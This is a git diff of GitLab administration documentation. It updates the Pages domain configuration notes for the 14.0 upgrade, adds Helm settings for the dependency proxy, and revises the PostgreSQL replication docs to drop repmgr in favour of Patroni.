Docker converts images automatically before pushing them +to the registry. Once done, all your v1 images should now be available as v2 images. + ### Advanced Troubleshooting We use a concrete example to illustrate how to diff --git a/doc/administration/packages/dependency_proxy.md b/doc/administration/packages/dependency_proxy.md index b454728cc8b..c4906ef6d8e 100644 --- a/doc/administration/packages/dependency_proxy.md +++ b/doc/administration/packages/dependency_proxy.md @@ -32,6 +32,23 @@ To enable the dependency proxy feature: 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure "How to reconfigure Omnibus GitLab") for the changes to take effect. 1. Enable the [Puma web server](https://docs.gitlab.com/omnibus/settings/puma.html). +**Helm chart installations** + +1. After the installation is complete, update the global `appConfig` to enable the feature: + + ```yaml + global: + appConfig: + dependencyProxy: + enabled: true + bucket: gitlab-dependency-proxy + connection: {} + secret: + key: + ``` + +For more information, see [Configure Charts using Globals](https://docs.gitlab.com/charts/charts/globals.html#configure-appconfig-settings). + **Installations from source** 1. After the installation is complete, configure the `dependency_proxy` diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index c93ae90deb6..b9637f1b6f5 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -246,7 +246,7 @@ control over how the Pages daemon runs and serves content in your environment. | `gitlab_retrieval_timeout` | The maximum time to wait for a response from the GitLab API per request (default: 30s). | | `gitlab_retrieval_interval` | The interval to wait before retrying to resolve a domain's configuration via the GitLab API (default: 1s). | | `gitlab_retrieval_retries` | The maximum number of times to retry to resolve a domain's configuration via the API (default: 3). | -| `domain_config_source` | Domain configuration source (default: `auto`) | +| `domain_config_source` | This parameter was removed in 14.0, on earlier versions it can be used to enable and test API domain configuration source | | `gitlab_id` | The OAuth application public ID. Leave blank to automatically fill when Pages authenticates with GitLab. | | `gitlab_secret` | The OAuth application secret. Leave blank to automatically fill when Pages authenticates with GitLab. | | `auth_scope` | The OAuth application scope to use for authentication. Must match GitLab Pages OAuth application settings. Leave blank to use `api` scope by default. | @@ -281,6 +281,7 @@ control over how the Pages daemon runs and serves content in your environment. | **`pages_nginx[]`** | | | `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains). | | `FF_ENABLE_REDIRECTS` | Feature flag to disable redirects (enabled by default). Read the [redirects documentation](../../user/project/pages/redirects.md#disable-redirects) for more information. | +| `use_legacy_storage` | Temporarily-introduced parameter allowing to use legacy domain configuration source and storage. [Will be removed in GitLab 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166). | --- @@ -756,51 +757,37 @@ Pages server. ## Domain source configuration -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3. +When GitLab Pages daemon serves pages requests it firstly needs to identify which project should be used to +serve the requested URL and how its content is stored. -GitLab Pages can use different sources to get domain configuration. -The default value for Omnibus installations is `nil`. +Before GitLab 13.3, all pages content was extracted to the special shared directory, +and each project had a special configuration file. +The Pages daemon was reading these configuration files and storing their content in memory. - ```ruby - gitlab_pages['domain_config_source'] = nil - ``` +This approach had several disadvantages and was replaced with GitLab Pages using the internal GitLab API +every time a new domain is requested. +The domain information is also cached by the Pages daemon to speed up subsequent requests. -If left unchanged, GitLab Pages tries to use any available source (either `gitlab` or `disk`). The -preferred source is `gitlab`, which uses [API-based configuration](#gitlab-api-based-configuration). +From [GitLab 13.3 to GitLab 13.12](#domain-source-configuration-before-140) GitLab Pages supported both ways of obtaining domain information. -On large GitLab instances, using the API-based configuration significantly improves the pages daemon startup time, as there is no need to load all custom domains configuration into memory. +Starting from [GitLab 14.0](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993) GitLab Pages uses API +by default and fails to start if it can't connect to it. +For common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api). For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/how-gitlab-pages-uses-the-gitlab-api-to-serve-content/). -### Deprecated `domain_config_source` - -WARNING: -The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), -and is planned for removal in GitLab 14.0. - -GitLab 13.0 introduced the special flag `domain_config_source` to support manual opt-in to -[API-based configuration](#gitlab-api-based-configuration). -GitLab 13.7 introduced the [`auto` value](https://gitlab.com/gitlab-org/gitlab/-/issues/218358) -to support a smoother transition to API-based configuration. +### Domain source configuration before 14.0 -Starting with GitLab 14.0, GitLab Pages only supports API-based configuration, and -[disk source configuration is removed](https://gitlab.com/gitlab-org/gitlab-pages/-/issues/382). -Therefore, GitLab 14.0 also removes `domain_config_source`. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) in GitLab 13.3. -GitLab Pages fails to start if it can't connect to the GitLab API. For other common issues, see the -[troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api) -or report an issue. +WARNING: +`domain_config_source` parameter is removed and has no effect starting from [GitLab 14.0](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993) -### GitLab API-based configuration +From [GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/217912) to [GitLab 13.12](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5993) GitLab Pages can either use `disk` or `gitlab` domain configuration source. -WARNING: -The flag `gitlab_pages['domain_config_source']` is deprecated for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), -and is planned for removal in GitLab 14.0. In GitLab 14.0 and later, GitLab Pages attempts to -connect to the API automatically, without requiring the manual configuration steps shown here. Pages -fails to start if this automatic connection fails. +We highly advise you to use `gitlab` configuration source as it will make transition to newer versions easier. -GitLab Pages can use an API-based configuration. This replaces disk source configuration, which -was used prior to GitLab 13.0. Follow these steps to enable it: +To explicitly enable API source: 1. Add the following to your `/etc/gitlab/gitlab.rb` file: @@ -810,14 +797,15 @@ was used prior to GitLab 13.0. Follow these steps to enable it: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -If you encounter an issue, you can disable it by choosing `disk`: +Or if you want to use legacy confiration source you can: -```ruby -gitlab_pages['domain_config_source'] = "disk" -``` +1. Add the following to your `/etc/gitlab/gitlab.rb` file: + + ```ruby + gitlab_pages['domain_config_source'] = "disk" + ``` -For other common issues, see the [troubleshooting section](#failed-to-connect-to-the-internal-gitlab-api) -or report an issue. +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. ### GitLab API cache configuration @@ -831,8 +819,8 @@ or persistent errors, or the Pages Daemon serving old content. NOTE: Expiry, interval and timeout flags use [Golang's duration formatting](https://golang.org/pkg/time/#ParseDuration). A duration string is a possibly signed sequence of decimal numbers, -each with optional fraction and a unit suffix, such as "300ms", "1.5h" or "2h45m". -Valid time units are "ns", "us" (or "µs"), "ms", "s", "m", "h". +each with optional fraction and a unit suffix, such as `300ms`, `1.5h` or `2h45m`. +Valid time units are `ns`, `us` (or `µs`), `ms`, `s`, `m`, `h`. Examples: @@ -938,7 +926,7 @@ In installations from source: ## ZIP storage -In GitLab 14.0 the underlaying storage format of GitLab Pages is changing from +In GitLab 14.0 the underlying storage format of GitLab Pages is changing from files stored directly in disk to a single ZIP archive per project. These ZIP archives can be stored either locally on disk storage or on the [object storage](#using-object-storage) if it is configured. @@ -1052,11 +1040,12 @@ To migrate GitLab Pages to GitLab 14.0: 1. If your current GitLab version is lower than 13.12, then you first need to upgrade to 13.12. Upgrading directly to 14.0 may cause downtime for some web-sites hosted on GitLab Pages until you finish the following steps. -1. Enable the [API-based configuration](#gitlab-api-based-configuration), which +1. Set [`domain_config_source` to `gitlab`](#domain-source-configuration-before-140), which is the default starting from GitLab 14.0. Skip this step if you're already running GitLab 14.0 or above. 1. If you want to store your pages content in the [object storage](#using-object-storage), make sure to configure it. If you want to store the pages content locally or continue using an NFS server, skip this step. 1. [Migrate legacy storage to ZIP storage.](#migrate-legacy-storage-to-zip-storage) +1. Upgrade GitLab to 14.0. ## Backup @@ -1081,6 +1070,16 @@ but commented out to help encourage others to add to it in the future. --> ## Troubleshooting +### How to see GitLab Pages logs + +You can see Pages daemon logs by running: + +```shell +sudo gitlab-ctl tail gitlab-pages +``` + +You can also find the log file in `/var/log/gitlab/gitlab-pages/current`. + ### `open /etc/ssl/ca-bundle.pem: permission denied` GitLab Pages runs inside a `chroot` jail, usually in a uniquely numbered directory like @@ -1210,12 +1209,12 @@ These are due to the Pages files not being among the It is possible to copy the subfolders and files in the [Pages path](#change-storage-path) to the new primary node to resolve this. For example, you can adapt the `rsync` strategy from the -[moving repositories documenation](../operations/moving_repositories.md). +[moving repositories documentation](../operations/moving_repositories.md). Alternatively, run the CI pipelines of those projects that contain a `pages` job again. ### Failed to connect to the internal GitLab API -If you have enabled [API-based configuration](#gitlab-api-based-configuration) and see the following error: +If you see the following error: ```plaintext ERRO[0010] Failed to connect to the internal GitLab API after 0.50s error="failed to connect to internal Pages API: HTTP status: 401" @@ -1236,11 +1235,6 @@ error="failed to connect to internal Pages API: Get \"https://gitlab.example.com ### Pages cannot communicate with an instance of the GitLab API -WARNING: -The flag `gitlab_pages['domain_config_source']` is [deprecated](#deprecated-domain_config_source) -for use in [GitLab 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/217913), -and is planned for removal in GitLab 14.0. - If you use the default value for `domain_config_source=auto` and run multiple instances of GitLab Pages, you may see intermittent 502 error responses while serving Pages content. You may also see the following warning in the Pages logs: @@ -1321,3 +1315,25 @@ To enable disk access: ``` 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + +### GitLab Pages doesn't work after upgrading to GitLab 14.0 or above + +GitLab 14.0 introduces a number of changes to GitLab Pages which may require manual intervention. + +1. Firstly [follow the migration guide](#migrate-gitlab-pages-to-140). +1. If it doesn't work, see [GitLab Pages logs](#how-to-see-gitlab-pages-logs), and if you see any errors there then search them on this page. + +WARNING: +As the last resort you can temporarily enable legacy storage and configuration mechanisms. Support for them [will be removed in GitLab 14.3](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/6166), so GitLab Pages will stop working if don't resolve the underlying issue. + +To do that: + +1. Please describe the issue you're seeing in [here](https://gitlab.com/gitlab-org/gitlab/-/issues/331699). + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_pages['use_legacy_storage'] = true + ``` + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). diff --git a/doc/administration/polling.md b/doc/administration/polling.md index f66df70a163..f6732b8edc6 100644 --- a/doc/administration/polling.md +++ b/doc/administration/polling.md @@ -4,7 +4,7 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Polling configuration +# Polling configuration **(FREE SELF)** The GitLab UI polls for updates for different resources (issue notes, issue titles, pipeline statuses, etc.) on a schedule appropriate to the resource. diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md index a9d0af952a0..8f0fe0ace87 100644 --- a/doc/administration/postgresql/external.md +++ b/doc/administration/postgresql/external.md @@ -22,6 +22,10 @@ If you use a cloud-managed service, or provide your own PostgreSQL instance: roles to your `gitlab` user: - Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role. - Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role. + - Google Cloud SQL requires the [`cloudsqlsuperuser`](https://cloud.google.com/sql/docs/postgres/users#default-users) role. + + This is for the installation of extensions during installation and upgrades. As an alternative, + [ensure the extensions are installed manually, and read about the problems that may arise during future GitLab upgrades](../../install/postgresql_extensions.md). 1. Configure the GitLab application servers with the appropriate connection details for your external PostgreSQL service in your `/etc/gitlab/gitlab.rb` file: diff --git a/doc/administration/postgresql/img/pg_ha_architecture.png b/doc/administration/postgresql/img/pg_ha_architecture.png Binary files differindex ef870f652ae..5d2a4a584bf 100644 --- a/doc/administration/postgresql/img/pg_ha_architecture.png +++ b/doc/administration/postgresql/img/pg_ha_architecture.png diff --git a/doc/administration/postgresql/index.md b/doc/administration/postgresql/index.md index eabb396aeab..bce78bbccff 100644 --- a/doc/administration/postgresql/index.md +++ b/doc/administration/postgresql/index.md @@ -16,7 +16,7 @@ There are essentially three setups to choose from. This setup is for when you have installed GitLab using the [Omnibus GitLab **Enterprise Edition** (EE) package](https://about.gitlab.com/install/?version=ee). -All the tools that are needed like PostgreSQL, PgBouncer, Patroni, and repmgr are bundled in +All the tools that are needed like PostgreSQL, PgBouncer, and Patroni are bundled in the package, so you can it to set up the whole PostgreSQL infrastructure (primary, replica). [> Read how to set up PostgreSQL replication and failover using Omnibus GitLab](replication_and_failover.md) diff --git a/doc/administration/postgresql/pgbouncer.md b/doc/administration/postgresql/pgbouncer.md index fc7da04b960..e481fcb71f4 100644 --- a/doc/administration/postgresql/pgbouncer.md +++ b/doc/administration/postgresql/pgbouncer.md @@ -164,7 +164,7 @@ and [GitLab upgrades](https://docs.gitlab.com/omnibus/update/README.html#use-pos 1. To find the primary node, run the following on a database node: ```shell - sudo gitlab-ctl repmgr cluster show + sudo gitlab-ctl patroni members ``` 1. Edit `/etc/gitlab/gitlab.rb` on the application node you're performing the task on, and update diff --git a/doc/administration/postgresql/replication_and_failover.md b/doc/administration/postgresql/replication_and_failover.md index 878d2b536cb..b6d2e36851d 100644 --- a/doc/administration/postgresql/replication_and_failover.md +++ b/doc/administration/postgresql/replication_and_failover.md @@ -36,8 +36,8 @@ to avoid the network becoming a single point of failure. NOTE: As of GitLab 13.3, PostgreSQL 12 is shipped with Omnibus GitLab. Clustering for PostgreSQL 12 is only supported with -Patroni. See the [Patroni](#patroni) section for further details. The support for repmgr will not be extended beyond -PostgreSQL 11. +Patroni. See the [Patroni](#patroni) section for further details. Starting with GitLab 14.0, only PostgreSQL 12 is +shipped with Omnibus GitLab and thus Patroni becomes mandatory for replication and failover. ### Database node @@ -118,26 +118,27 @@ When using default setup, minimum configuration requires: Few notes on the service itself: - The service runs under a system account, by default `gitlab-consul`. - - If you are using a different username, you will have to specify it. We - will refer to it with `CONSUL_USERNAME`, -- There will be a database user created with read-only access to the repmgr - database -- Passwords will be stored in the following locations: + - If you are using a different username, you have to specify it through the + `CONSUL_USERNAME` variable. +- Passwords are stored in the following locations: - `/etc/gitlab/gitlab.rb`: hashed - `/var/opt/gitlab/pgbouncer/pg_auth`: hashed - `/var/opt/gitlab/consul/.pgpass`: plaintext #### PostgreSQL information -When configuring PostgreSQL, we will set `max_wal_senders` to one more than -the number of database nodes in the cluster. -This is used to prevent replication from using up all of the -available database connections. +When configuring PostgreSQL, we do the following: + +- Set `max_replication_slots` to double the number of database nodes. + Patroni uses one extra slot per node when initiating the replication. +- Set `max_wal_senders` to one more than the allocated number of replication slots in the cluster. + This prevents replication from using up all of the available database connections. In this document we are assuming 3 database nodes, which makes this configuration: ```ruby -patroni['postgresql']['max_wal_senders'] = 4 +patroni['postgresql']['max_replication_slots'] = 6 +patroni['postgresql']['max_wal_senders'] = 7 ``` As previously mentioned, you'll have to prepare the network subnets that will @@ -176,9 +177,7 @@ Few notes on the service itself: - The service runs as the same system account as the database - In the package, this is by default `gitlab-psql` - If you use a non-default user account for PgBouncer service (by default `pgbouncer`), you will have to specify this username. We will refer to this requirement with `PGBOUNCER_USERNAME`. -- The service will have a regular database user account generated for it - - This defaults to `repmgr` -- Passwords will be stored in the following locations: +- Passwords are stored in the following locations: - `/etc/gitlab/gitlab.rb`: hashed, and in plain text - `/var/opt/gitlab/pgbouncer/pg_auth`: hashed @@ -198,8 +197,7 @@ When installing the GitLab package, do not supply `EXTERNAL_URL` value. #### Configuring Patroni cluster -You must enable Patroni explicitly to be able to use it (with `patroni['enable'] = true`). When Patroni is enabled -repmgr will be disabled automatically. +You must enable Patroni explicitly to be able to use it (with `patroni['enable'] = true`). Any PostgreSQL configuration item that controls replication, for example `wal_level`, `max_wal_senders`, etc, are strictly controlled by Patroni and will override the original settings that you make with the `postgresql[...]` configuration key. @@ -210,17 +208,14 @@ configuration key. NOTE: The configuration of a Patroni node is very similar to a repmgr but shorter. When Patroni is enabled, first you can ignore -any replication setting of PostgreSQL (it will be overwritten anyway). Then you can remove any `repmgr[...]` or +any replication setting of PostgreSQL (it is overwritten anyway). Then you can remove any `repmgr[...]` or repmgr-specific configuration as well. Especially, make sure that you remove `postgresql['shared_preload_libraries'] = 'repmgr_funcs'`. -Here is an example similar to [the one that was done with repmgr](#configuring-repmgr-nodes): +Here is an example: ```ruby -# Disable all components except PostgreSQL, Patroni (or Repmgr), and Consul -roles['postgres_role'] - -# Enable Patroni (which automatically disables Repmgr). -patroni['enable'] = true +# Disable all components except Patroni and Consul +roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' @@ -236,13 +231,20 @@ consul['services'] = %w(postgresql) # # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH' +# Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value +postgresql['sql_replication_password'] = 'POSTGRESQL_REPLICATION_PASSWORD_HASH' # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH' -# Replace X with value of number of db nodes + 1 (OPTIONAL the default value is 5) -patroni['postgresql']['max_wal_senders'] = X +# Sets `max_replication_slots` to double the number of database nodes. +# Patroni uses one extra slot per node when initiating the replication. patroni['postgresql']['max_replication_slots'] = X +# Set `max_wal_senders` to one more than the number of replication slots in the cluster. +# This is used to prevent replication from using up all of the +# available database connections. +patroni['postgresql']['max_wal_senders'] = X+1 + # Replace XXX.XXX.XXX.XXX/YY with Network Address postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY) @@ -267,10 +269,6 @@ Generally, when Consul cluster is ready, the first node that [reconfigures](../r becomes the leader. You do not need to sequence the nodes reconfiguration. You can run them in parallel or in any order. If you choose an arbitrary order you do not have any predetermined master. -NOTE: -As opposed to repmgr, once the nodes are reconfigured you do not need any further action or additional command to join -the replicas. - #### Enable Monitoring > [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3786) in GitLab 12.0. @@ -298,7 +296,7 @@ If you enable Monitoring, it must be enabled on **all** database servers. ```ruby # Disable all components except PgBouncer and Consul agent - roles ['pgbouncer_role'] + roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -348,7 +346,7 @@ If you enable Monitoring, it must be enabled on **all** database servers. 1. Ensure each node is talking to the current master: ```shell - gitlab-ctl pgb-console # You will be prompted for PGBOUNCER_PASSWORD + gitlab-ctl pgb-console # Supply PGBOUNCER_PASSWORD when prompted ``` If there is an error `psql: ERROR: Auth failed` after typing in the @@ -415,7 +413,7 @@ Refer to your preferred Load Balancer's documentation for further guidance. ### Configuring the Application nodes -These will be the nodes running the `gitlab-rails` service. You may have other +Application nodes run the `gitlab-rails` service. You may have other attributes set, but the following need to be set. 1. Edit `/etc/gitlab/gitlab.rb`: @@ -448,7 +446,7 @@ in the Troubleshooting section before proceeding. ### Backups -Do not backup or restore GitLab through a PgBouncer connection: this will cause a GitLab outage. +Do not backup or restore GitLab through a PgBouncer connection: this causes a GitLab outage. [Read more about this and how to reconfigure backups](../../raketasks/backup_restore.md#backup-and-restore-for-installations-using-pgbouncer). @@ -495,7 +493,7 @@ On each server edit `/etc/gitlab/gitlab.rb`: ```ruby # Disable all components except Consul -roles ['consul_role'] +roles(['consul_role']) consul['configuration'] = { server: true, @@ -512,7 +510,7 @@ On each server edit `/etc/gitlab/gitlab.rb`: ```ruby # Disable all components except Pgbouncer and Consul agent -roles ['pgbouncer_role'] +roles(['pgbouncer_role']) # Configure PgBouncer pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul) @@ -527,7 +525,6 @@ pgbouncer['users'] = { } consul['watchers'] = %w(postgresql) -consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -545,29 +542,26 @@ An internal load balancer (TCP) is then required to be setup to serve each PgBou On database nodes edit `/etc/gitlab/gitlab.rb`: ```ruby -# Disable all components except PostgreSQL, Patroni (or Repmgr), and Consul -roles ['postgres_role'] +# Disable all components except Patroni and Consul +roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' postgresql['hot_standby'] = 'on' postgresql['wal_level'] = 'replica' -# Enable Patroni (which automatically disables Repmgr). -patroni['enable'] = true - # Disable automatic database migrations gitlab_rails['auto_migrate'] = false postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c' postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f' -patroni['postgresql']['max_wal_senders'] = 4 +patroni['postgresql']['max_replication_slots'] = 6 +patroni['postgresql']['max_wal_senders'] = 7 postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16) # Configure the Consul agent consul['services'] = %w(postgresql) -consul['enable'] = true consul['configuration'] = { retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13) } @@ -586,19 +580,6 @@ After deploying the configuration follow these steps: gitlab-ctl get-postgresql-primary ``` -1. On the primary database node: - - Enable the `pg_trgm` and `btree_gist` extensions: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - - ```shell - CREATE EXTENSION pg_trgm; - CREATE EXTENSION btree_gist; - ``` - 1. On `10.6.0.41`, our application server: Set `gitlab-consul` user's PgBouncer password to `toomanysecrets`: @@ -640,17 +621,14 @@ Please note that after the initial configuration, if a failover occurs, the Post On database nodes edit `/etc/gitlab/gitlab.rb`: ```ruby -# Disable all components except PostgreSQL, Repmgr, and Consul -roles ['postgres_role'] +# Disable all components except Patroni and Consul +roles(['patroni_role']) # PostgreSQL configuration postgresql['listen_address'] = '0.0.0.0' postgresql['hot_standby'] = 'on' postgresql['wal_level'] = 'replica' -# Enable Patroni (which automatically disables Repmgr). -patroni['enable'] = true - # Disable automatic database migrations gitlab_rails['auto_migrate'] = false @@ -659,7 +637,15 @@ consul['services'] = %w(postgresql) postgresql['pgbouncer_user_password'] = '771a8625958a529132abe6f1a4acb19c' postgresql['sql_user_password'] = '450409b85a0223a214b5fb1484f34d0f' -patroni['postgresql']['max_wal_senders'] = 4 + +# Sets `max_replication_slots` to double the number of database nodes. +# Patroni uses one extra slot per node when initiating the replication. +patroni['postgresql']['max_replication_slots'] = 6 + +# Set `max_wal_senders` to one more than the number of replication slots in the cluster. +# This is used to prevent replication from using up all of the +# available database connections. +patroni['postgresql']['max_wal_senders'] = 7 postgresql['trust_auth_cidr_addresses'] = %w(10.6.0.0/16) @@ -716,22 +702,17 @@ The manual steps for this configuration are the same as for the [example recomme ## Patroni NOTE: -Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12. +Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12. Starting with GitLab 14.0, only PostgreSQL 12 is available and hence Patroni is mandatory to achieve failover and replication. Patroni is an opinionated solution for PostgreSQL high-availability. It takes the control of PostgreSQL, overrides its -configuration and manages its lifecycle (start, stop, restart). This is a more active approach when compared to repmgr. -Both repmgr and Patroni are both supported and available. But Patroni will be the default (and perhaps the only) option -for PostgreSQL 12 clustering and cascading replication for Geo deployments. +configuration and manages its lifecycle (start, stop, restart). Patroni is the only option for PostgreSQL 12 clustering and for cascading replication for Geo deployments. The [architecture](#example-recommended-setup-manual-steps) (that was mentioned above) does not change for Patroni. You do not need any special consideration for Patroni while provisioning your database nodes. Patroni heavily relies on Consul to store the state of the cluster and elect a leader. Any failure in Consul cluster and its leader election will propagate to Patroni cluster as well. -Similar to repmgr, Patroni monitors the cluster and handles failover. When the primary node fails it works with Consul -to notify PgBouncer. However, as opposed to repmgr, on failure, Patroni handles the transitioning of the old primary to -a replica and rejoins it to the cluster automatically. So you do not need any manual operation for recovering the -cluster as you do with repmgr. +Patroni monitors the cluster and handles failover. When the primary node fails it works with Consul to notify PgBouncer. On failure, Patroni handles the transitioning of the old primary to a replica and rejoins it to the cluster automatically. With Patroni the connection flow is slightly different. Patroni on each node connects to Consul agent to join the cluster. Only after this point it decides if the node is the primary or a replica. Based on this decision, it configures @@ -829,7 +810,7 @@ For further details on this subject, see the #### Geo secondary site considerations -Similar to `repmgr`, when a Geo secondary site is replicating from a primary site that uses `Patroni` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `Patroni` cluster. Therefore, when there is an automatic or manual failover in the `Patroni` cluster, you will need to manually re-point your secondary site to replicate from the new leader with: +When a Geo secondary site is replicating from a primary site that uses `Patroni` and `PgBouncer`, [replicating through PgBouncer is not supported](https://github.com/pgbouncer/pgbouncer/issues/382#issuecomment-517911529) and the secondary must replicate directly from the leader node in the `Patroni` cluster. Therefore, when there is an automatic or manual failover in the `Patroni` cluster, you will need to manually re-point your secondary site to replicate from the new leader with: ```shell sudo gitlab-ctl replicate-geo-database --host=<new_leader_ip> --replication-slot=<slot_name> @@ -891,8 +872,8 @@ You can switch an exiting database cluster to use Patroni instead of repmgr with 1. On the primary node, [configure Patroni](#configuring-patroni-cluster). Remove `repmgr` and any other repmgr-specific configuration. Also remove any configuration that is related to PostgreSQL replication. -1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on the primary node. It will become - the leader. You can check this with: +1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) on the primary node. + It makes it the leader. You can check this with: ```shell sudo gitlab-ctl tail patroni @@ -920,13 +901,13 @@ upgrading PostgreSQL. Here are a few key facts that you must consider before upgrading PostgreSQL: - The main point is that you will have to **shut down the Patroni cluster**. This means that your - GitLab deployment will be down for the duration of database upgrade or, at least, as long as your leader + GitLab deployment is down for the duration of database upgrade or, at least, as long as your leader node is upgraded. This can be **a significant downtime depending on the size of your database**. - Upgrading PostgreSQL creates a new data directory with a new control data. From Patroni's perspective this is a new cluster that needs to be bootstrapped again. Therefore, as part of the upgrade procedure, - the cluster state, which is stored in Consul, will be wiped out. Once the upgrade is completed, Patroni - will be instructed to bootstrap a new cluster. **Note that this will change your _cluster ID_**. + the cluster state (stored in Consul) is wiped out. Once the upgrade is completed, Patroni + bootstraps a new cluster. **Note that this changes your _cluster ID_**. - The procedures for upgrading leader and replicas are not the same. That is why it is important to use the right procedure on each node. @@ -996,389 +977,6 @@ Reverting PostgreSQL upgrade with `gitlab-ctl revert-pg-upgrade` has the same co `gitlab-ctl pg-upgrade`. You should follow the same procedure by first stopping the replicas, then reverting the leader, and finally reverting the replicas. -## Repmgr - -NOTE: -Using Patroni instead of Repmgr is supported for PostgreSQL 11 and required for PostgreSQL 12. - -### Configuring Repmgr Nodes - -1. On the master database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section: - - ```ruby - # Disable all components except PostgreSQL and Repmgr and Consul - roles ['postgres_role'] - - # PostgreSQL configuration - postgresql['listen_address'] = '0.0.0.0' - postgresql['hot_standby'] = 'on' - postgresql['wal_level'] = 'replica' - postgresql['shared_preload_libraries'] = 'repmgr_funcs' - - # Disable automatic database migrations - gitlab_rails['auto_migrate'] = false - - # Configure the Consul agent - consul['services'] = %w(postgresql) - - # START user configuration - # Please set the real values as explained in Required Information section - # - # Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value - postgresql['pgbouncer_user_password'] = 'PGBOUNCER_PASSWORD_HASH' - # Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value - postgresql['sql_user_password'] = 'POSTGRESQL_PASSWORD_HASH' - # Replace X with value of number of db nodes + 1 - postgresql['max_wal_senders'] = X - postgresql['max_replication_slots'] = X - - # Replace XXX.XXX.XXX.XXX/YY with Network Address - postgresql['trust_auth_cidr_addresses'] = %w(XXX.XXX.XXX.XXX/YY) - repmgr['trust_auth_cidr_addresses'] = %w(127.0.0.1/32 XXX.XXX.XXX.XXX/YY) - - # Replace placeholders: - # - # Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z - # with the addresses gathered for CONSUL_SERVER_NODES - consul['configuration'] = { - retry_join: %w(Y.Y.Y.Y consul1.gitlab.example.com Z.Z.Z.Z) - } - # - # END user configuration - ``` - - > `postgres_role` was introduced with GitLab 10.3 - -1. On secondary nodes, add all the configuration specified above for primary node - to `/etc/gitlab/gitlab.rb`. In addition, append the following configuration - to inform `gitlab-ctl` that they are standby nodes initially and it need not - attempt to register them as primary node - - ```ruby - # Specify if a node should attempt to be master on initialization - repmgr['master_on_initialization'] = false - ``` - -1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. [Enable Monitoring](#enable-monitoring) - -> Please note: -> -> - If you want your database to listen on a specific interface, change the configuration: -> `postgresql['listen_address'] = '0.0.0.0'`. -> - If your PgBouncer service runs under a different user account, -> you also need to specify: `postgresql['pgbouncer_user'] = PGBOUNCER_USERNAME` in -> your configuration. - -#### Database nodes post-configuration - -##### Primary node - -Select one node as a primary node. - -1. Open a database prompt: - - ```shell - gitlab-psql -d gitlabhq_production - ``` - -1. Enable the `pg_trgm` extension: - - ```shell - CREATE EXTENSION pg_trgm; - ``` - -1. Enable the `btree_gist` extension: - - ```shell - CREATE EXTENSION btree_gist; - ``` - 